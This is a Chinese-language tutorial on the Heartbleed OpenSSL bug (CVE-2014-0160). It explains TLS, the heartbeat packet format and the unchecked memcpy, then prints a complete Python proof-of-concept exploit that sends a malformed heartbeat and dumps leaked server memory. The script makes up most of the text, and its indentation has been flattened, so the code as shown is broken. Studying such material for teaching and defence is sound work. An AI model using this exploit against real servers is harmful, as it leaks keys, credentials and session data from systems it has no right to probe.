概述
心脏出血漏洞是 OpenSSL 在实现 SSL/TLS 的心跳扩展时，由于代码缺陷导致的缓冲区过读漏洞。
OpenSSL 的心跳处理逻辑中，没有检验心跳请求包的长度字段和后续的数据字段是否相符合。 因此，攻击者可以通过构造请求包，获取服务器内存中的敏感信息（最多 64KB）。
要了解漏洞的原理，我们要弄清楚以下几个问题：
- SSL/TLS 是什么？
- 心跳扩展是怎么工作的？
- OpenSSL 是怎么处理 TLS 心跳扩展的？
- 怎么利用漏洞？
SSL/TLS 简介
SSL 和 TLS 都是用来加密传输数据的协议，而 TLS 是在 SSL3.0 基础上开发的新版本（可 以看作 SSL4.0）。两者使用的证书跟协议本身无关，而是取决于服务器的配置，一般服务 器都会使用“SSL/TLS 证书”兼容两种协议。
The differences between this protocol and SSL 3.0 are not dramatic, but they are significant enough that TLS 1.0 and SSL 3.0 do not interoperate. (Reference)
SSL/TLS 的工作过程：
- 客户端向服务器端索要公钥，并验证
- 双方协商生成“对话密钥”
- 双方采用“对话密钥”进行加密通信
简单来说，就是一个 用非对称加密来确定对称加密的密钥，再用该密钥进行加密传输 的过 程。前者也称为“握手阶段”（handshake）。
Heartbeat 扩展协议
在没有心跳扩展前，SSL/TLS 的双方不能一直保持连接，只要客户端在一段时间没有请求， 服务器就会中断连接并释放资源。当同一个客户端继续进行上次的连接，必须要与服务器重 新协商、建立连接，而重新协商连接消耗很大。心跳扩展则可以解决这个问题。 （Reference）
在使用心跳扩展时，如果客户端一段时间内没有进行操作，就会自动发送一个心跳请求包。 客户端通过请求包发送一个固定长度的字符串，并事先告诉服务端这个字符串有多长。服务 端知道“长度”后，先在内存预留一个相应大小的缓冲区，再将字符串放到缓冲区中，最后 从内存读取这个字符串并通过心跳响应包返回给客户端。这样一来一回，服务端就知道这个 客户端还是“活的”，连接也就可以保持了。
| 心跳包字段 | 长度 | 说明 |
|---|---|---|
| ContentType | 1byte | 心跳包类型，IANA 组织把 type 编号定义为 24（0x18） |
| ProtocolVersion | 2bytes | TLS 的版本号，目前主要包括含有心跳扩展的 TLS 版本：TLSv1.0，TLSv1.1，TLSv1.2 |
| length | 2bytes | HeartbeatMessage 的长度 |
| HeartbeatMessageType | 1byte | Heartbeat 类型，01 表示 heartbeat_request，02 表示 heartbeat_response |
| payload_length | 2bytes | payload 长度 |
| payload | payload_length*bytes | payload 的具体内容 |
| padding | >=16bytes | padding 填充，最少为 16 个字节 |
TLS 心跳包格式
漏洞成因
OpenSSL 收到心跳请求包后，并没有检查真正收到数据是不是像它所说的一样长。假如，请 求包说“我给你的是一个 30KB 的字符串”，但实际上这个字符串只有 10KB。OpenSSL 依然会 从内存中额外复制 20KB 的数据，并通过响应包返回给客户端。
心跳包最多可以发送 64KB 的数据，所以攻击者可以利用这个漏洞，获得服务器内存中的 64KB 数据。
导致该漏洞的一行代码
memcpy(bp, pl, payload);memcpy() 的作用是复制数据， bp 是要复制到的地方， pl 是数据源， payload 是数据的
长度。这个函数的问题在于，没有检查 pl 中的数据的长度是不是和 payload 相等。
POC
#!/usr/bin/python
#-*- coding: utf-8 -*-
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]',
description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
# ClientHello，提供协议版本、随机数、支持的加密和压缩算法等信息
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
# 心跳请求包，最后两个字节是长度，即16384（0x4000）
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
# 解析内存的数据
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b: b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time() # 剩余时间
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args() # 解析参数（IP和端口）
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush() # 刷新输出
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello) # 发送ClientHello请求
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb) # 发送心跳包
hit_hb(s) # 检测心血漏洞
if __name__ == '__main__':
main()